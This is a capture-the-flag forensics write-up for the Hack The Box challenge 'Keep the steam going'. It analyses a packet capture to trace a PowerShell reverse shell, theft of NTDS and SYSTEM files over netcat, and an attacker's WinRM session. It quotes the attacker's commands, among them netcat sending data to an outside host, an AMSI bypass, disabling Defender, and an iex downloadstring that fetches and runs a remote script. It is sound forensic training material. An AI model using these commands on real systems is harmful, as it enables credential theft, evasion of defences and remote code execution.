Post

HTB • Keep the steam going

Keep the steam going is a hard forensics challenge created by thewildspirit on Hack the Box that involves the inspection of a packet capture to pinpoint malicious traffic. Along the way we deobfuscate a powershell script, recover NTDS secrets, and decrypt WinRM traffic.

The network in which our main source of steam is connected to, got compromised. If they managed to gain full control of this network, it would be a disaster!

Initial Capture Analysis

We’ll first open the capture file in Wireshark and filter by HTTP traffic. We immediately find a request to http://192.168.1.9/rev.ps1.

Obfuscated shell We find a powershell script being served over HTTP

Although the script is obfuscated using several different methods, parts of it are readable. We suspect this is a reverse shell script though because of the general length as well as the descriptive variable names such as stream, sendback, and client.

Reverse Shell

As we manually deobfuscate some of the content from that powershell script, we discover that the script connects back to 192.168.1.9 on port 4443. Let’s check the packet capture for TCP traffic over this port.

Reverse shell session We inspect the plaintext reverse shell session

The adversary sends a series of commands to seemingly exfiltrate the NTDS database along with the SYSTEM registry hive. This is presumably done in order to extract authentication secrets offline and establish persistence.

1
2
3
4
5
6
7
whoami;hostname
ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q
iex (New-Object System.Net.WebClient).DownloadFile("http://192.168.1.9/n.exe","C:\Users\Public\Music\n.exe")
certutil -encode "C:\temp\Active Directory\ntds.dit" "C:\temp\ntds.b64"
certutil -encode "C:\temp\REGISTRY\SYSTEM" "C:\temp\system.b64"
cat C:\temp\ntds.b64 | C:\Users\Public\Music\n.exe 192.168.1.9 8080
cat C:\temp\system.b64 | C:\Users\Public\Music\n.exe 192.168.1.9 8080

The adversary uses certutil.exe to encode the files, then n.exe (probably netcat), to transport the files over TCP port 8080.

Exfiltration

Let’s check for traffic over port 8080 in our capture file in order to extract ntds.b64 and system.b64.

Exfiltration traffic The adversary encodes & downloads some goodies

TCP Streams 23 and 24 should be ntds.b64 and system.b64 respectively. with this in mind let’s export both streams then decode the contents.

1
2
for n in ntds system; do grep -v '-' $n.b64 | base64 -d > $n; done
file ntds system # make sure they are properly formatted

Now that the recovered files are in the correct format, we follow the tracks by using secretsdump.py from impacket to extract some secrets we could potentially use to decrypt certain communications in the capture file.

1
2
mkdir secrets
secretsdump.py local -history -ntds ./ntds -system ./system -outputfile ./secrets/export

We can now access the extracted secrets in ./secrets/ if we need to.

WinRM

Back at the packet capture, we filter out the traffic sent after the exfiltration over port 8080 using the filter frame.number > 21346. This will allow us to better see what actions the adversary took after stealing the NTDS secrets.

Traffic after exfiltration Looking for actions taken by the adversary after reading the NTDS secrets

It looks like the attacker then used the NT hash for the user Administrator to connect to the machine via WinRM. The request body in each post-authentication request seems to be encrypted and labeled “application/http-spnego-session-encrypted”. After some research into encrypted WinRM exchanges, we come across this gist created by Jordan Borean.

Decryption

using the python script mentioned earlier, we are able to decrypt the WinRM traffic using the NT hash for the user Administrator.

1
python3 winrm_decrypt.py -n "8bb1f8635e5708eb95aedf142054fc95" capture.pcap > decrypted.txt

Now decrypted.txt contains a bunch of XML that we filter through using some GNU utilities.

1
2
3
4
grep -Ei 'command|argument' decrypted.txt # Found tags rsp:Command, rsp:Arguments
grep -i '<rsp:Arguments>' decrypted.txt |
  sed -E 's/.*>(.*)<.*/\1/g' |
  base64 -d > arguments.bin # Save arguments

Looking at the arguments.bin file, there seems to be powershell code within the <S N="V"> tags. Every other command is (get-location).path, which is probably not manually run by the adversary but rather a product of their WinRM shell.

1
2
3
4
strings arguments.bin |
  grep -i '<S N="V">' |
  sed 's/^\s*<S N="V">//' |
  grep -v '^(get-location).path$'
1
2
3
4
5
6
whoami;hostname
sc stop WinDefend
Set-MpPreference -DisableRealtimeMonitoring $true
[Ref].Assembly.GetType('System.Management.Automation.'+$("41 6D 73 69 55 74 69 6C 73".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result=$result+$_};$result)).GetField($("61 6D 73 69 49 6E 69 74 46 61 69 6C 65 64".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result2=$result2+$_};$result2),'NonPublic,Static').SetValue($null,$true)
echo "[REDACTED]"
iex (new-object net.webclient).downloadstring('http://192.168.1.9/drop.ps1')

It seems that the adversary disables Windows defender, bypasses AMSI, and executes a remote powershell script in memory. In between the last two commands, we can also find the flag.

This post is licensed under CC BY 4.0 by the author.